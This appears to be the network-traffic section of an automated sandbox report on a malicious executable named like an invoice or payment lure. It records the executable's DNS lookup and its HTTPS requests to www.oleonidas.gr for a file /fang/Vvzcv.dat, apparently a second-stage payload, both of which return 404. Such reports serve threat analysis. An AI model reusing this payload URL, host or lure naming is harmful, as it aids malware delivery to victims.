Nov 24, 2024 16:43:08.494165897 CET	50070	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:08.494185925 CET	443	50070	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:09.100744009 CET	443	50070	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:09.100836039 CET	443	50070	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:09.100878954 CET	50070	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:09.101627111 CET	50070	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:09.103688002 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:09.103735924 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:09.103805065 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:09.104090929 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:09.104099989 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:10.691210032 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:10.693408966 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:10.693444967 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:11.315305948 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:11.315409899 CET	443	50071	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:11.315471888 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:11.316042900 CET	50071	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:11.317605019 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:11.317662954 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:11.317728043 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:11.318017960 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:11.318031073 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:12.834554911 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:12.836750031 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:12.836776972 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:13.448998928 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:13.449201107 CET	443	50072	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:13.449259043 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:13.449804068 CET	50072	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:13.451570988 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:13.451606989 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:13.451694965 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:13.452100039 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:13.452110052 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:14.925381899 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:14.931648016 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:14.931668043 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:15.528415918 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:15.528606892 CET	443	50073	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:15.528660059 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:15.529321909 CET	50073	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:15.531158924 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:15.531187057 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:15.531250954 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:15.531595945 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:15.531610966 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.250833988 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.252705097 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.252762079 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.903220892 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.903429031 CET	443	50074	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.903534889 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.904017925 CET	50074	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.905553102 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.905603886 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:17.905793905 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.906138897 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:17.906152010 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.386473894 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.388680935 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.388710976 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.979732990 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.979899883 CET	443	50075	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.980066061 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.982023954 CET	50075	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.982023954 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.982048035 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:19.982237101 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.986207008 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:19.986217976 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:21.500364065 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:21.503864050 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:21.503887892 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:22.109013081 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:22.109193087 CET	443	50076	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:22.110341072 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:22.110578060 CET	50076	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:22.114207029 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:22.114248991 CET	443	50077	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:22.114525080 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:22.115077972 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:22.115092993 CET	443	50077	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:23.630603075 CET	443	50077	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:23.632776022 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.632791042 CET	443	50077	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:23.717986107 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.718089104 CET	443	50077	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:23.718259096 CET	50077	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.722239017 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.722287893 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:23.726336002 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.730210066 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:23.730223894 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.287645102 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.287723064 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.290282965 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.290293932 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.290509939 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.292270899 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.339329958 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.918425083 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.918601990 CET	443	50078	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.918737888 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.920721054 CET	50078	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.920736074 CET	50079	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.920835972 CET	443	50079	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.921067953 CET	50079	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.922239065 CET	50079	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.922274113 CET	443	50079	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.985130072 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.985131025 CET	50079	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.985173941 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:25.986324072 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.990219116 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:25.990230083 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:26.027359009 CET	443	50079	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.540122986 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.540200949 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:27.542309999 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:27.542320967 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.542627096 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.544099092 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:27.591335058 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.642960072 CET	443	50079	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:27.643114090 CET	50079	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.191361904 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:28.191436052 CET	443	50080	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:28.191556931 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.192111969 CET	50080	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.194210052 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.194242954 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:28.197071075 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.197510004 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:28.197520971 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:29.717153072 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:29.720354080 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:29.720366955 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:30.317248106 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:30.317346096 CET	443	50081	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:30.317708015 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:30.336246014 CET	50081	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:30.336250067 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:30.336297989 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:30.336394072 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:30.336684942 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:30.336694956 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:31.844837904 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:31.850215912 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:31.850228071 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:32.447413921 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:32.447571993 CET	443	50082	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:32.447707891 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:32.449630022 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:32.449635983 CET	50082	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:32.449650049 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:32.450375080 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:32.454214096 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:32.454226971 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.174581051 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.178437948 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.178450108 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.817395926 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.817624092 CET	443	50083	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.817672968 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.818031073 CET	50083	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.819725037 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.819767952 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:34.819885969 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.820159912 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:34.820172071 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.288870096 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.302254915 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.302275896 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.893965960 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.894200087 CET	443	50084	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.894289017 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.894825935 CET	50084	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.896395922 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.896447897 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:36.896512985 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.896790981 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:36.896800995 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:38.463217974 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:38.465107918 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:38.465135098 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:39.122595072 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:39.122792959 CET	443	50085	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:39.122843981 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:39.123620987 CET	50085	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:39.126064062 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:39.126108885 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:39.126168013 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:39.126542091 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:39.126554966 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:40.590048075 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:40.594249964 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:40.594281912 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.195940971 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.196038008 CET	443	50086	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.196079969 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.196930885 CET	50086	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.199210882 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.199245930 CET	443	50087	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.199326992 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.199707031 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.199716091 CET	443	50087	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.733601093 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.736258030 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.736356020 CET	443	50088	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.740854979 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.740854979 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:41.740938902 CET	443	50088	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:41.779333115 CET	443	50087	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.014514923 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:42.016298056 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:42.016343117 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.016725063 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:42.017086029 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:42.017098904 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.059329033 CET	443	50088	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.682295084 CET	443	50087	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.682658911 CET	443	50087	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:42.682697058 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:42.682878017 CET	50087	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.265922070 CET	443	50088	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:43.266028881 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.266048908 CET	443	50088	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:43.266091108 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.266091108 CET	50088	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.748867989 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:43.750256062 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.754250050 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.754261017 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:43.754545927 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:43.762254953 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:43.803333044 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:44.351911068 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:44.351979971 CET	443	50089	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:44.352230072 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:44.354090929 CET	50089	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:44.354110956 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:44.354252100 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:44.358366966 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:44.362261057 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:44.362298965 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:45.925158978 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:45.942265987 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:45.942332029 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:46.539525986 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:46.539714098 CET	443	50090	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:46.539807081 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:46.540158033 CET	50090	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:46.542428970 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:46.542470932 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:46.546351910 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:46.546735048 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:46.546746016 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.057368040 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.060157061 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.060178041 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.658953905 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.659111023 CET	443	50091	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.659192085 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.659732103 CET	50091	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.661204100 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.661232948 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:48.661367893 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.661694050 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:48.661703110 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.251449108 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.253216982 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.253238916 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.910875082 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.910963058 CET	443	50092	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.911025047 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.911766052 CET	50092	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.913212061 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.913244963 CET	443	50093	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:50.913355112 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.913723946 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:50.913733959 CET	443	50093	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:51.685898066 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:51.686892986 CET	50094	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:51.686938047 CET	443	50094	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:51.686996937 CET	50094	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:51.687264919 CET	50094	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:51.687283993 CET	443	50094	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:51.727376938 CET	443	50093	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:52.431907892 CET	443	50093	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:52.432284117 CET	443	50093	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:52.432286024 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:52.432384968 CET	50093	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:43:53.152890921 CET	443	50094	185.78.221.73	192.168.2.5
Nov 24, 2024 16:43:53.153002024 CET	50094	443	192.168.2.5	185.78.221.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 16:39:46.055603027 CET	56501	53	192.168.2.5	1.1.1.1
Nov 24, 2024 16:39:47.034634113 CET	53	56501	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 16:39:46.055603027 CET	192.168.2.5	1.1.1.1	0x7962	Standard query (0)	www.oleonidas.gr	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 16:39:47.034634113 CET	1.1.1.1	192.168.2.5	0x7962	No error (0)	www.oleonidas.gr	oleonidas.gr		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 16:39:47.034634113 CET	1.1.1.1	192.168.2.5	0x7962	No error (0)	oleonidas.gr		185.78.221.73	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.oleonidas.gr

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:48 UTC	80	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr Connection: Keep-Alive
2024-11-24 15:39:49 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:48 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:39:49 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:39:50 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:39:51 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:39:51 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
